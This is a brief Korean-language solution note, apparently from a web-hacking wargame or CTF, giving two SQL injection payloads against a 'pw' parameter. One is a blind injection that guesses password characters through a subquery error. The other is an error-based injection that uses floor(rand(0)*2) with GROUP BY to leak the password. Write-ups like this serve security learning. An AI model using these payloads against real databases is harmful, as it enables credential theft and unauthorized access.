Answer
pw=%27||if(substr(pw,1,1)>’가’,1,(select 1 union select 2 union select 3))%23이렇게 진행하면된다. 나는 이렇게 풀었다.
답이 유니코트인데다 답도 길어서 상당한 시간이 걸린다.
하지만 에러를 출력하는 부분을 사용해 좀 더 쉽게 해결 하는 방법도 있으나 아직 공부중이다./ㅜㅡ
에러를 출력하는 부분을 활용한 SQLi 구문이다.
pw=’ or (select concat(floor(rand(0)*2),pw)x from (select 1 union select 2 union select 3)t group by x having min(0))%23